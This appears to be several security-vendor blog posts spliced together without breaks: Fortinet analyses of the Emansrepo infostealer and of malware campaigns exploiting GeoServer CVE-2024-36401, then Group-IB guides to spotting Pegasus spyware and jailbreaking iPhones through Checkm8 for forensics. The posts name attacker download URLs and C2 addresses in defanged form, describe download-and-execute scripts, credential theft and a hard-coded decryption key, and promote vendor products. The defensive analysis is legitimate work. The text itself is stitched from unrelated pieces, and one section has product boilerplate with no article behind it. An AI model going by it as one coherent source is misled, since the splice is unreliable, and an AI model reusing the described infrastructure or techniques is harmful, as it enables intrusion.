The Underground ransomware described in this report is detected and blocked by FortiGuard Antivirus as:
W64/IndustrySpy.C!tr.ransom
W64/Filecoder_IndustrialSpy.C!tr.ransom
Adware/Filecoder_IndustrialSpy
Riskware/Ransom
FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is a part of each of those solutions. As a result, customers who have these products with up-to-date protections are protected.
Please read the outbreak alert for protection against the potential infection vector (CVE-2023-36884) abused by the Underground ransomware:
Due to the ease of disruption, damage to daily operations, potential impact on an organization’s reputation, and the unwanted destruction or release of personally identifiable information (PII), etc., it is vital to keep all AV and IPS signatures up to date.
Since the majority of ransomware is delivered via phishing, organizations should consider leveraging Fortinet solutions designed to train users to understand and detect phishing threats:
The FortiPhish Phishing Simulation Service uses real-world simulations to help organizations test user awareness and vigilance to phishing threats and to train and reinforce proper practices when users encounter targeted phishing attacks.
Our FREE Fortinet Certified Fundamentals (FCF) in Cybersecurity training. The training is designed to help end users learn about today’s threat landscape and will introduce basic cybersecurity concepts and technology.
Organizations will need to make foundational changes to the frequency, location, and security of their data backups to effectively deal with the evolving and rapidly expanding risk of ransomware. When coupled with digital supply chain compromise and a workforce telecommuting into the network, there is a real risk that attacks can come from anywhere. Cloud-based security solutions, such as SASE, to protect off-network devices; advanced endpoint security, such as EDR (endpoint detection and response) solutions that can disrupt malware mid-attack; and Zero Trust Access and network segmentation strategies that restrict access to applications and resources based on policy and context, should all be investigated to minimize risk and to reduce the impact of a successful ransomware attack.
As part of the industry’s leading fully integrated Security Fabric, delivering native synergy and automation across your security ecosystem, Fortinet also provides an extensive portfolio of technology and human-based as-a-service offerings. These services are powered by our global FortiGuard team of seasoned cybersecurity experts.
FortiRecon is a SaaS based Digital Risk Prevention Service backed by cybersecurity experts to provide unrivaled threat intelligence on the latest threat actor activity across the dark web, providing a rich understanding of threat actors’ motivations and TTPs. The service can detect evidence of attacks in progress allowing customers to rapidly respond to and shut down active threats.
Best Practices Include Not Paying a Ransom
Organizations such as CISA, NCSC, the FBI, and HHS caution ransomware victims against paying a ransom partly because the payment does not guarantee that files will be recovered. According to a US Department of Treasury’s Office of Foreign Assets Control (OFAC) advisory, ransom payments may also embolden adversaries to target additional organizations, encourage other criminal actors to distribute ransomware, and/or fund illicit activities that could potentially be illegal. For organizations and individuals affected by ransomware, the FBI has a Ransomware Complaint page where victims can submit samples of ransomware activity via their Internet Crimes Complaint Center (IC3).
How Fortinet Can Help
FortiGuard Labs’ Emergency Incident Response Service provides rapid and effective response when an incident is detected. Our Incident Readiness Subscription Service provides tools and guidance to help you better prepare for a cyber incident through readiness assessments, IR playbook development, and IR playbook testing (tabletop exercises).
Additionally, FortiRecon Digital Risk Protection (DRP) is a SaaS-based service that provides a view of what adversaries are seeing, doing, and planning to help you counter attacks at the reconnaissance phase and significantly reduce the risk, time, and cost of later-stage threat mitigation.
Affected Platforms: Microsoft Windows Impacted Users: Microsoft Windows Impact: The stolen information can be used for future attack Severity Level: High
In August 2024, FortiGuard Labs observed a python infostealer we call Emansrepo that is distributed via emails that include fake purchase orders and invoices. Emansrepo compresses data from the victim’s browsers and files in specific paths into a zip file and sends it to the attacker’s email. According to our research, this campaign has been ongoing since November 2023.
The attacker sent a phishing mail containing an HTML file, which was redirected to the download link for Emansrepo. This variant is packaged by PyInstaller so it can run on a computer without Python.
Figure 1: Attack flow in November 2023
Figure 2: The download link for Emansrepo is embedded in RTGS Invoices.html.
As time goes by, the attack flow has become increasingly complex. Below are the attack flows we found in July and August 2024:
Figure 3: Attack flow in August and July 2024
Various stages are being added to the attack flow before downloading Emansrepo, and multiple mailboxes are used to receive different kinds of stolen data. This article will provide a detailed analysis of each attack chain and its behavior. We will then provide a quick summary of the next campaign.
Attack Flow
Chain 1
Figure 4: The phishing mail in chain 1 contains a fake download page
The attachment is a dropper that mimics a download page. It creates a link element that points to the data of Purchase-Order.7z and uses the click() method to “download” Purchase-Order.7z. Six seconds later, it redirects to a completely unrelated website.
Figure 5: Source code of the attachment
Purchase-Order.exe, the file embedded in Purchase-Order.7z, is an AutoIt-compiled executable. It doesn’t include any files, and the AutoIt script determines its behavior. The script has many unused functions, frustrating its analysis. The only meaningful code downloads preoffice.zip to the Temp folder and unzips it into % TEMP%\PythonTemp. The zip archive contains necessary Python modules and tester.py, the malicious script for information stealing.
Figure 6: The AutoIt script downloads the Python infostealer
Chain 2
Figure 7: The phishing mail in chain 2
The innermost file in P.O.7z is an HTA file. Its source file is a JavaScript file that shows a hidden window named PowerShell Script Runner and downloads the PowerShell script, script.ps1, with VBScript for the next stage.
Figure 8: The decryption algorithm of the JavaScript file and the result
The behavior of script.ps1 is similar to the AutoIt script in chain 1. It downloads preoffice.zip to the Temp folder and unzips it to %TEMP%\PythonTemp, but it executes Emansrepo using run.bat.
Figure 9: script.ps1 executes run.bat to run the infostealer
Chain 3
Figure 10: The phishing mail in chain 3
The 7z file from the link in the phishing mail contains a batch file obfuscated by BatchShield.
Figure 11: The obfuscated batch file
After deobfuscation, we can see that it is not as complicated as it first seems. It simply downloads and executes script.ps1 using PowerShell.
Figure 12: The deobfuscated batch file
Python Infostealer
According to the email receiving the data, the infostealer behavior can be divided into three parts. It creates folders to temporarily store the stolen data for each part and deletes them after sending the data to the attacker. The stolen data is attached to the email sent to the attacker.
Part 1 – User information and text files
In part 1, the Python stealer collects login data, credit card information, web history, download history, autofill, and text files (less than 0.2 MB) from the Desktop, Document, and Downloads folders.
%TEMP%\Browsers:Text files (less than 0.2 MB) copied from Desktop, Document, Downloads%TEMP%\Browsers\{browser name}:Saved_Passwords.txt, Saved_Credit_Cards.txt, Browser_History.txt, Download_History.txt, Autofill_Data.txt
Attachment
Zip file of %TEMP%\Browsers folder
Part 1 includes the initial features of Emansrepo since there is only code for part 1 in the November 2023 variant (e346f6b36569d7b8c52a55403a6b78ae0ed15c0aaae4011490404bdb04ff28e5). It’s worth noting that emans841 report has been used as the divider in Saved_Passwords.txt since the December 2023 variant (ae2a5a02d0ef173b1d38a26c5a88b796f4ee2e8f36ee00931c468cd496fb2b5a). Because of this, we call it Emansrepo.
Figure 13: The content of Saved_Passwords.txt
The variant used in November 2023 uses Prysmax Premium as the divider.
By comparing the variant in November 2023 with the first edition of the Prysmax stealer shared on GitHub, we find they contain many similar functions, though the Emansrepo stealer had fewer features. However, as parts 2 and 3 were added to Emansrepo, it has become quite different from the Prysmax stealer.
Figure 14: Left: Variant in November 2023. Right: First edition of Prysmax Stealer on GitHub
Part2 – PDF files, extensions, crypto wallets, and game platform
Part 2 copies PDF files (less than 0.1 MB) from the Desktop, Document, Downloads, and Recents folders and compresses folders of browser extensions, crypto wallets, and game platforms into zip files.
We recently found another attack campaign using the Remcos malware, which we believe is related to the same attacker because of the phishing email.
Figure 15: Left: the email for the Python infostealer. Right: The email for Remcos.
As the above screenshot shows, these attacks have the same content but use different methods to distribute malware. The attack flow for Remcos is much simpler. The attacker just sends phishing emails with a malicious attachment. The attachment is a DBatLoader, which downloads and decrypts data for the payload. The payload is a Remcos protected by a packer.
Figure 16: Attack flow of new Remcos campaign
Conclusion
Emansrepo has been active since at least last November, and the attack method is continuously evolving. The attack vectors and malware are ever-changing and pervasive, so it’s vital for organizations to maintain cybersecurity awareness. FortiGuard will continue monitoring these attack campaigns and providing appropriate protections as required.
Fortinet Protections
The malware described in this report is detected and blocked by FortiGuard Antivirus as:
FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is part of each solution. As a result, customers who have these products with up-to-date protections are already protected.
The FortiGuard CDR (content disarm and reconstruction) service can disarm the embedded link object inside the Excel document.
To stay informed of new and emerging threats, you can sign up to receive future alerts.
We also suggest our readers go through the free Fortinet Cybersecurity Fundamentals (FCF) training, a module on Internet threats designed to help end users learn how to identify and protect themselves from phishing attacks.
FortiGuard IP Reputation and Anti-Botnet Security Service proactively block these attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile sources.
Affected Platforms: GeoServer prior to versions 2.23.6, 2.24.4, and 2.25.2 Impacted Users: Any organization Impact: Remote attackers gain control of the vulnerable systems Severity Level: Critical
GeoServer is an open-source software server written in Java that allows users to share and edit geospatial data. It is the reference implementation of the Open Geospatial Consortium (OGC) Web Feature Service (WFS) and Web Coverage Service (WCS) standards. On July 1, the project maintainers released an advisory for the vulnerability CVE-2024-36401 (CVSS score: 9.8). Multiple OGC request parameters allow remote code execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions. The shortcoming has been addressed in versions 2.23.6, 2.24.4, and 2.25.2.
On July 15, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added a critical security flaw impacting OSGeo GeoServer GeoTools to its Known Exploited Vulnerabilities (KEV) catalog based on evidence of active exploitation. FortiGuard Labs added the IPS signature the next day and has observed multiple campaigns targeting this vulnerability to spread malware. The botnet family and miner groups strike the attack immediately. We also collect sidewalk backdoors, and GOREVERSE tries to exploit this vulnerability and set a connection with a command and control server (C2) to execute malicious actions.
Overview
In this article, we will explore the details of the payload and malware.
GOREVERSE
Figure 1: Attack packet
The payload retrieves a script from “hxxp://181[.]214[.]58[.]14:61231/remote.sh.” The script file first verifies the victim’s operating system and architecture to download the appropriate file, which it saves as “download_file.” It accommodates various OS types, including Linux, FreeBSD, Illumos, NetBSD, OpenBSD, and Solaris. After execution, it deletes the file to remove traces of its activity.
Figure 2: Script file “remote.sh”
The ultimate executable is “GOREVERSE,” packed with UPX. GOREVERSE is a malicious tool that often functions as a reverse proxy server, allowing attackers to illicitly access target systems or data.
Figure 3: GOREVERSE
Once executed, the connection is made to a specific IP address (181[.]214[.]58[.]14) and port (18201), which is not a standard SSH port.
Figure 4: GOREVERSE’s log
From the exploitation packet of CVE-2024-36401, we observed threat actors attempting to access IT service providers in India, technology companies in the U.S., government entities in Belgium, and telecommunications companies in Thailand and Brazil.
SideWalk
Figure 5: Attack packet
The attacker fetches the script from “hxxp://1[.]download765[.]online/d.” This batch file facilitates the download of execution files. All the ELF files on the remote server, known as the “SideWalk” malware, are designed to operate on ARM, MIPS, and X86 architectures. SideWalk is a sophisticated Linux backdoor malware also often linked with the hacking group APT41.
Figure 6: Script file “d”
First, SideWalk creates a folder named with a randomly generated string in the TMP directory. It then decodes two library files, libc.so.0 and ld-uClibc.so.1, along with the next-stage payload using the XOR key 0xCC. These decoded files are then stored in the previously created folder in the TMP path.
Figure 7: Creating the folder and files
Figure 8: XOR decoded with 0xCC
Figure 9: Saved decoded files
Then, it also uses XOR to decode the string data using the key 0x89.
Figure 10: XOR decoded with 0x89
It then executes the next stage payload, “ych7s5vvbb669ab8a.” It has three main functions:
1. Decrypt configuration: The configuration is decrypted using the ChaCha20 algorithm. The binary input contains a 16-byte MD5 hash, a 12-byte nonce for ChaCha20 decryption, and a 4-byte section indicating the length of the ciphertext, followed by the actual ciphertext. Based on the assembly code, the decryption key is hard-coded as “W9gNRmdFjxwKQosBYhkYbukO2ejZev4m,” and the decryption process runs 15 rounds (0xF). After successful decryption, the extracted C2 is secure[.]systemupdatecdn[.]de (47[.]253[.]46[.]11), listening on port 80, with the mutex name “hfdmzbtu.”
Figure 11: Decrypted configuration with ChaCha20
Figure 12: Encrypted binary
Figure 13: Decrypted configuration
2. Establish C2 communication: Communication with the C2 server is established using an encrypted session, also based on the ChaCha20 algorithm. The packet structure comprises a 4-byte section representing the packet length, a 12-byte nonce for ChaCha20 decryption, 20 bytes of message metadata, and the final ciphertext. The initial exchange includes keys (v-key and s-key) for subsequent message encryption. In early packets, the original key, “W9gNRmdFjxwKQosBYhkYbukO2ejZev4m,” decrypts the message metadata, while the exchanged keys (v-key and s-key) decrypt the ciphertext. In packet 5, the victim’s information (computer name, operating system, and system time) is transmitted.
Figure 14: Packet capture of the C2 connection
Figure 15: C2 communication
3. Execute the command issued by C2: In this attack scenario, we find a Plugin named Fast Reverse Proxy (FRP.) Fast Reverse Proxy (FRP) is a legitimate and widely-used tool that complicates the detection of malicious network traffic by blending it with normal traffic, thereby enhancing the stealthiness of cyberattacks. Because it is open source, this tool has been leveraged in the past by several threat actors, such as Magic Hound, Fox Kitten, and Volt Typhoon. Using FRP, attackers create an encrypted tunnel from an internally compromised machine to an external server under their control. This method enables them to maintain a foothold within compromised environments, exfiltrate sensitive data, deploy further malicious payloads, or execute other operations. In this attack case, SideWalk also downloads a customized configuration file that directs the connection to a remote server (47[.]253[.]83[.]86) via port 443, further enhancing the attacker’s control and persistence.
Figure 16: FRP’s configuration
Figure 17: Packet capture of FRP
Analysis of the script download URL’s telemetry reveals a concentrated pattern of infections. The primary targets appear to be distributed across three main regions: South America, Europe, and Asia. This geographical spread suggests a sophisticated and far-reaching attack campaign, potentially exploiting vulnerabilities common to these diverse markets or targeting specific industries prevalent in these areas.
Figure 18: Telemetry
Mirai Variant – JenX
Figure 19: Attack packet
This script downloads and executes a file named “sky” from a specified URL, “hxxp://188[.]214[.]27[.]50:4782. “ It changes its permissions to make it executable, runs it with the parameter “geo,” and then deletes the file.
Figure 20: XOR decoded function
The configuration data is extracted by XORing the file contents with 0x3A. This enabled us to find information like “bots[.]gxz[.]me,” which is the C2 server the malware attempts to connect to.
Figure 21: Decoded configuration data
When executing the malware, a string shows up.
Figure 22: Execution message
This malware has a credential list for brute-force attacks and a hard-coded payload related to the Huawei router vulnerability CVE-2017-17215. The payload attempts to download malware from 59[.]59[.]59[.]59.
Figure 23: Hard-coded payload
Condi
The attacker first terminates several processes (mpsl, mipsel, bash.mpsl, mips, x86_64, x86), then downloads and executes multiple bot binaries for different CPU architectures (such as ARM, MIPS, PPC, X86, M68K, SH4, and MPSL) from a remote server, “hxxp://209[.]146[.]124[.]181:8030.” The binaries are fetched using wget, saved in the /tmp directory, made executable (chmod 777), and executed.
Figure 24: Attack packet
The following section uses “bot.arm7” as an example. The malware can be recognized by the specified string “condi.”
Figure 25: Significant string
Executing the malware sends numerous DNS queries to “trcpay[.]xyz.”
Figure 26: Continually connecting to the C2 server
The Condi botnet first tries to resolve the C2 server address and its function. It then establishes a connection with the C2 server and waits to parse the command. The malware has numerous DDoS attack methods, such as TCP flooding, UDP flooding, and a VSE DDoS attack.
In tracing the connection back to the remote server, “hxxp://209[.]146[.]124[.]181:8030,” we found that it was built as an HFS (HTTP File Server) and that two malicious tools—“Linux2.4” (another botnet) and “taskhost.exe” (the agent tool)—are located in the server.
The botnet “Linux2.4” not only has different methods that can trigger a DDoS attack but can also act as a backdoor agent. The tool first connects to a server, which is the same as the remote server “209[.]146[.]124[.]181.” It then gathers the host information. Later, it waits for the command to either conduct a remote command execution or trigger a DDoS attack.
Figure 27: DDoS attack methods
The Backdoor malware “taskhost.exe” is designed especially for Windows. It creates a service named “9jzf5” for persistence and then creates different process types to retrieve information from attackers lurking in the host.
Figure 28: Creating a service with the name “9jzf5”
Figure 29: Command execution
CoinMiner
We found four types of incident coin miners that can be delivered to victim hosts, as shown in the following details.
[1]
Figure 30: Attack packet
The attacker downloads a script from a remote URL “hxxp://oss[.]17ww[.]vip/21929e87-85ff-4e98-a837-ae0079c9c860[.]txt/test.sh” and saves it as script.sh in the temp folder. The payload within the incident packets then modifies and executes the script to achieve various purposes.
Figure 31: Script file “test.sh”
The script first gathers host information, such as the location of Aegis, the distribution version of Linux. Afterward, it attempts to uninstall different cloud platforms, like Tencent Cloud, Oracle, Kingsoft Cloud, JD Cloud, and Ali Cloud, to evade monitoring agents from those cloud services. A noteworthy point is that the comments in the script are written in simplified Chinese, indicating that the miner campaign/author may be affiliated with a Chinese group. While finishing these uninstalls, the script kills some security defense mechanisms processes and checks whether the current user has the root privilege needed to uninstall those mechanisms. If everything executes successfully, the script downloads the coin miner and creates another script for persistence.
Figure 32: Download and persistence within “test.sh”
The coin miner, named “sshd,” wrote the configuration within itself. The miner points to two target pools: “sdfasdfsf[.]9527527[.]xyz:3333” and “gsdasdfadfs[.]9527527[.]xyz:3333.”
Figure 33: Coin miner configuration
[2]
Figure 34: Attack packet
Another type of coin miner attack begins with the Base64-encoded command. It intends to download “linux.sh” from “hxxp://repositorylinux.com.” The comment in “linux.sh” is written in Sundanese, an Indonesian language.
Figure 35: Script file “linux.sh”
The script downloads two files: a coin miner named “linuxsys“ and a related configuration file named “config.json.” It downloads these through an AWS (Amazon Web Service) cloud platform service the attacker holds.
Figure 36: Config file “config.json”
The coin miner sets the pool URL “pool[.]supportxmr[.]com:80” with credentials using “config.json.” The miner itself is XMRig, which can be recognized through its data.
Figure 37: Coin miner “linuxsys”
[3]
Figure 38: Attack packet
The action sent via four packets is to download “/tmp/MmkfszDi” from the remote server “hxxp://95[.]85[.]93[.]196:80/asdfakjg.sh,” make it executable, and then run it. The script downloads a coin miner like the others mentioned before. It also removes a list of files within “/tmp,” “/var,” “/usr,” and “/opt.”
Figure 39: Script file “asdfakjg.sh”
The coin miner named “h4” is similar to the other two types mentioned. It is XMRig as well and embeds its configuration within the binary file. The miner sets the pool URL as “asdfghjk[.]youdontcare[.]com:81”
Figure 40: Configuration data embedded in “h4”
[4]
Figure 41: Attack packet
The last type of coin miner incident command is also encoded with base64. It downloads “cron.sh” from “112[.]133[.]194[.]254.” This fraudulent site mimics the webpage of the Institute of Chartered Accountants of India (ICAI). The site is currently removed.
Figure 42: Fraudulent site
“cron.sh” uses the job scheduler on the Unix-like operating system “cron,” as its name indicates. The script schedules jobs for things like downloading coin miner-related scripts and setting the scripts into “crontab.” It first downloads the script named “check.sh” from the same source IP “112[.]133[.]194[.]254” and executes the script.
Figure 43: Script file “cron.sh”
“check.sh” first creates the necessary directories and confirms that the victim host hasn’t been infected. Once the script finds that the victim host is the first to be infected, it downloads “config.sh” from the attacker’s IP “112[.]133[.]194[.]254” and the XMRig coin miner from the developer platform “Github.”
Figure 44: Script file “check.sh”
Through “config.sh,” we learned that the attacker set the pool on SupportXMR “pool[.]supportxmr[.]com:3333”
Figure 45: Script File “config.sh”
Conclusion
While GeoServer’s open-source nature offers flexibility and customization, it also necessitates vigilant security practices to address its vulnerabilities. The developer patched the vulnerability with the function “JXPathUtils.newSafeContext” instead of the original vulnerable one to evaluate the XPath expression safety. However, implementing comprehensive cybersecurity measures—such as regularly updating software, employing threat detection tools, and enforcing strict access controls—can significantly mitigate these risks. By proactively addressing these threats, organizations can secure their environments and ensure the protection and reliability of these data infrastructures.
Fortinet Protection
The malware described in this report is detected and blocked by FortiGuard Antivirus as:
FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is part of each of these solutions. As a result, customers who have these products with up-to-date protections are protected.
The FortiGuard Web Filtering Service blocks the C2 servers and downloads URLs.
FortiGuard Labs provides IPS signatures against attacks exploiting the following vulnerability:
We also suggest that organizations go through Fortinet’s free training module: Fortinet Certified Fundamentals (FCF) in Cybersecurity. This module is designed to help end users learn how to identify and protect themselves from phishing attacks.
FortiGuard IP Reputation and Anti-Botnet Security Service proactively block these attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile sources.
How does Pegasus and other spyware work discreetly to access everything on your iOS device? Introduction
In today’s digital age, mobile phones and devices have evolved from being exclusive to a few to becoming an absolute need for everyone, aiding us in both personal and professional pursuits. However, these devices, often considered personal, can compromise our privacy when accessed by nefarious cybercriminals.
Malicious mobile software has time and again been wielded as a sneaky weapon to compromise the sensitive information of targeted individuals. Cybercriminals build complex applications capable of operating on victims’ devices unbeknownst to them, concealing the threat and the intentions behind it. Despite the common belief among iOS users that their devices offer complete security, shielding them from such attacks, recent developments, such as the emergence of Pegasus spyware, have shattered this pretense.
The first iOS exploitation by Pegasus spyware was recorded in August 2016, facilitated through spear-phishing attempts—text messages or emails that trick a target into clicking on a malicious link.
What is Pegasus spyware?
Developed by the Israeli company NSO Group, Pegasus spyware is malicious software designed to gather sensitive information from devices and users illicitly. Initially licensed by governments for targeted cyber espionage purposes, it is a sophisticated tool for remotely placing spyware on targeted devices to pry into and reveal information. Its ‘zero-click’ capability makes it particularly dangerous as it can infiltrate devices without any action required from the user.
Pegasus can gather a wide range of sensitive information from infected devices, including messages, audio logs, GPS location, device information, and more. It can also remotely activate the device’s camera and microphone, essentially turning the device into a powerful tool for illegal surveillance.
Over time, NSO Group has become more creative in its methods of unwarranted intrusions into devices. The company, which was founded in 2010, claims itself to be a “leader” in mobile and cellular cyber warfare.
Pegasus is also capable of accessing data from both iOS and Android-powered devices. The fact that it can be deployed through convenient gateways such as SMS, WhatsApp, or iMessage makes it an effortless tool to trick users into installing the spyware without their knowledge. This poses a significant threat to the privacy and security of individuals and organizations targeted by such attacks.
How does Pegasus spyware work?
Pegasus is extremely efficient due to its strategic development to use zero-day vulnerabilities, code obfuscation, and encryption. NSO Group provides two methods for remotely installing spyware on a target’s device: a zero-click method and a one-click method. The one-click method includes sending the target a regular SMS text message containing a link to a malicious website. This website then exploits vulnerabilities in the target’s web browser, along with any additional exploits needed to implant the spyware.
Zero-click attacks do not require any action from device users to establish an unauthorized connection, as they exploit ‘zero-day’ vulnerabilities to gain entry into the system. Once the spyware is installed, Pegasus actively captures the intended data about the device. After installation, Pegasus needs to be constantly upgraded and managed to adapt to device settings and configurations. Additionally, it may be programmed to uninstall itself or self-destruct if exposed or if it no longer provides valuable information to the threat actor.
Now that we’ve studied what Pegasus is and the privacy concerns it raises for users, this blog will further focus on discussing precautionary and investigation measures. The suggested methodology can be leveraged to detect not just Pegasus spyware but also Operation Triangulation, Predator spyware, and more.
Let’s explore how to check iOS or iPadOS devices for signs of compromise when only an iTunes backup is available and obtaining a full file system dump isn’t a viable option.
In recent years, targeted attacks against iOS devices have made headlines regularly. Although the infections are not widespread and they hardly affect more than 100 devices per wave, such attacks still pose serious risks to Apple users. The risks have appeared as a result of iOS becoming an increasingly complex and open system, over the years, to enhance user experience. A good example of this is the flawed design of the iMessage application, which wasn’t protected through the operating system’s sandbox mechanisms.
Apple failed to patch this flaw with a security feature called BlastDoorin iOS 14, instead implementing a Lockdown Mode mechanism that, for now, cybercriminals have not been able to bypass. Learn more about Lockdown Mode here.
While BlastDoor provides a flexible solution through sandbox analysis, Lockdown Mode imposes limitations on iMessage functionality. Nonetheless, the vulnerabilities associated with ImageIO may prompt users to consider disabling iMessage permanently. Another major problem is that there are no mechanisms to examine an infected iOS device directly. Researchers have three options:
Put the device in a safe and wait until an exploit is developed that can extract the full file system dump
Analyze the device’s network traffic (with certain limitations as not all viruses can transmit data via Wi-Fi)
Explore a backup copy of an iOS device, despite data extraction limitations
The backup copy must be taken only with encryption (password protection) as data sets in encrypted and unencrypted copies differ. Here, our analysts focus on the third approach, as it is a pragmatic way to safely examine potential infections without directly interacting with the compromised device. This approach allows researchers to analyze the device’s data in a controlled environment, avoiding any risk of further compromising the device and losing valuable evidence that forms the ground for crucial investigation and analysis.
To conduct research effectively, the users will need either a Mac or Linux device. Linux virtual machines can also be used, but it is recommended that users avoid using Windows Subsystem for Linux as it has issues with forwarding USB ports.
After being through with the process, users may have successfully decrypted the backup.
Now, let’s check for known indicators. Download the most recent IoCs (Indicators of Compromise):
mvt-ios download-iocs
We can also track IoCs relating to other spyware attacks from several sources, such as:
“NSO Group Pegasus Indicators of Compromise” “Predator Spyware Indicators of Compromise” “RCS Lab Spyware Indicators of Compromise” “Stalkerware Indicators of Compromise” “Surveillance Campaign linked to mercenary spyware company” “Quadream KingSpawn Indicators of Compromise” “Operation Triangulation Indicators of Compromise” “WyrmSpy and DragonEgg Indicators of Compromise”
If any infections are detected, the users will receive a *_detected.json file with detections.
Image 1: Result of MVT IOCs scan with four detections
Image 2: The detected results are saved in separate files with “_detected” ending
If there are suspicions of spyware or malware without IOCs, but there are no detections, and a full file system dump isn’t feasible, users will need to work with the resources at hand. The most valuable files in the backup include:
Safari_history.json – check for any suspicious redirects and websites.
Keeping a backup copy of a control device is required to maintain a record of the current names of legitimate processes within a specific iOS version. This control device can be completely reset and reconfigured with the same iOS version. Although annual releases often introduce significant changes, new legitimate processes may still be added, even within a year, through major system updates.
Sms.json – check for links, the content of these links, and domain information.
iOS security architecture typically prevents normal apps from performing unauthorized surveillance. However, a jailbroken device can bypass these security measures. Pegasus and other mobile malware may exploit remote jailbreak exploits to steer clear of detection by security mechanisms. This enables operators to install new software, extract data, and monitor and collect information from targeted devices.
Warning signs of an infection on the device include:
Slower device performance
Spontaneous reboots or shutdowns
Rapid battery drain
Appearance of previously uninstalled applications
Unexpected redirects to unfamiliar websites
This reinstates the critical importance of maintaining up-to-date devices and prioritizing mobile security. Recommendations for end-users include:
Avoid clicking on suspicious links
Review app permissions regularly
Enable Lockdown mode for protection against spyware attacks
Consider disabling iMessage and FaceTime for added security
Always install the updated version of the iOS
For businesses: Protect against Pegasus and other APT mobile malware
Securing mobile devices, applications, and APIs is crucial, particularly when they handle financial transactions and store sensitive data. Organizations operating in critical sectors, government, and other industries are prime targets for cyberattacks such as espionage and more, especially high-level employees.
Researching iOS devices presents challenges due to the closed nature of the system. Group-IB Threat Intelligence, however, helps organizations worldwide identify cyber threats in different environments, including iOS, with our recent discovery being GoldPickaxe.iOS – the first iOS Trojan harvesting facial scans and using them to potentially gain unauthorized access to bank accounts. Group-IB Threat Intelligence provides a constant feed on new and previously conducted cyber attacks, the tactics, techniques, and behaviors of threat actors, and susceptibility of attacks based on your organization’s risk profile— giving a clear picture of how your devices can be exploited by vectors, to initiate timely and effective defense mechanisms.
If you suspect your iOS or Android device has been compromised by Pegasus or similar spyware, turn to our experts for immediate support. To perform device analysis or set up additional security measures, organizations can also get in touch with Group-IB’s Digital Forensics team for assistance.
In the recent Hi-Tech Crime Trends report, Group-IB experts highlighted a concerning shift in the focus of cybercriminals towards Apple devices. The shift is driven by the increasing popularity and adoption of Apple products in both consumer and corporate environments. As a result, the number of malicious programs targeting iOS and macOS devices has risen exponentially.
The App Store, once considered highly secure, is now at risk of frequent attempts to distribute malware. The increased use of iCloud and other Apple cloud services has made these platforms more appealing to cybercriminals. What’s more, Apple is now officially allowing third-party app stores to distribute iOS apps in Europe. The change is due to Apple being designated a “gatekeeper” under the EU’s Digital Markets Act (DMA). Threat actors are expected to capitalize on this development.
Cybercriminals have started modifying schemes traditionally aimed at Android to target iOS. Group-IB’s discovery of GoldPickaxe malware illustrates this trend. GoldPickaxe, the first iOS Trojan that harvests facial recognition data, is a modified version of the Android Trojan GoldDigger — but with new capabilities. In our detailed analysis, Group-IB experts dissected the new Trojan and found that cybercriminals had leveraged stolen data to impersonate real users and log into their bank accounts.
Hackers will likely continue to look for new ways of exploiting Apple devices, especially as smart technologies and IoT devices become used more widely. This increasing threat landscape shows how important it is to understand how to analyze iOS-related malware. In this article, we will guide you through the process of jailbreaking an iOS device for investigation purposes. By leveraging vulnerabilities such as Checkm8, cybersecurity experts can examine applications thoroughly and uncover potential threats. The goal of the guide is to equip readers with the tools and knowledge they need to investigate iOS devices, analyze any installed apps, and mitigate risks posed by iOS-related threats.
Dangers behind outdated Apple solutions: Checkm8 vulnerability
New security concerns around Apple devices keep coming to light. They are often announced by Apple itself in regular security bulletins. Such disclosures emphasize the importance of informing users about potential risks and how to address them properly. One notable and enduring threat is the checkm8 vulnerability, discovered in 2019. Checkm8 is a bootloader vulnerability that is “burned into the silicon,” which means that it is impossible to completely fix it with software updates. The flaw allows attackers to compromise a device almost irrespective of the iOS version it runs. Apple has made strides to mitigate its impact, for example with the A12 Bionic chip that protects newer devices (iPhone XS/XR and later), but older models remain at risk.
The checkm8 vulnerability is especially relevant today because it is being exploited by many various vendors, who use it to brute-force passcodes on iOS devices. Moreover, the interconnected nature of Apple’s ecosystem means that if one device associated with an Apple ID is compromised, all devices linked to that ID are also at risk. This underscores the importance of not only updating to newer, more secure devices but also of employing stringent security practices across all connected Apple products.
How to jailbreak iOS for investigation purposes
In our recent article, Group-IB experts discussed how to detect sophisticated spyware like Pegasus, which is often used by advanced threat actors and state-sponsored groups to execute zero-click exploits, affecting zero-day vulnerabilities, and gain full remote control of devices without the victims noticing. But what if you need to examine a full-fledged application?
When conducting an in-depth analysis of iOS devices and the apps installed on them, users need to be aware that iOS does not back up apps themselves but only the data they contain, and to a limited extent. It is not enough to rely on a backup copy alone.
To analyze an iPhone, users will require a device that can be jailbroken and forensics tools for jailbreaking iOS devices. The following tools are the most up-to-date:
Processor
A8-A11
A8-A16
Devices
iPhone 6S, 7, 8, X
iPhone 6S-14
Jailbreak
Palera1n
Dopamine
iOS versions
All
15.0.0-16.5.1
The most accessible option for cybersecurity experts is to acquire an iPhone X, which features a vulnerable bootrom (Checkm8 vulnerability) and runs a relatively recent iOS version (16), enabling the installation and normal functioning of all applications. While Checkm8 poses risks to users, mobile forensic experts can leverage the vulnerability to analyze malware.
To jailbreak your device, you’ll require MacOS and Palera1n, a tool primarily intended for research. However, if you need a low-level copy of a device—referred to as a full logic copy—using this vulnerability, it’s advisable to use agents that are more forensically sound. These agents make minimal changes and leave fewer traces on the device, which is crucial for forensic analysis, especially when extracting digital evidence stored on the phone. You can learn more about bootloader-level extractions here.
Figure 1. Request for permission to execute an application for jailbreaking
Allow execution:
Figure 2. Settings menu to give permission to run the application
NB: Whenever you bypass built-in security mechanisms in MacOS, it is essential to ensure that the binary file is safe and trustworthy. If there is any doubt, it is safer to perform such operations within a virtual machine.
Jailbreaking a device can be done in two ways: rootful or rootless. For our purposes, we’ll opt for the rootless approach, without delving into specific technicalities.
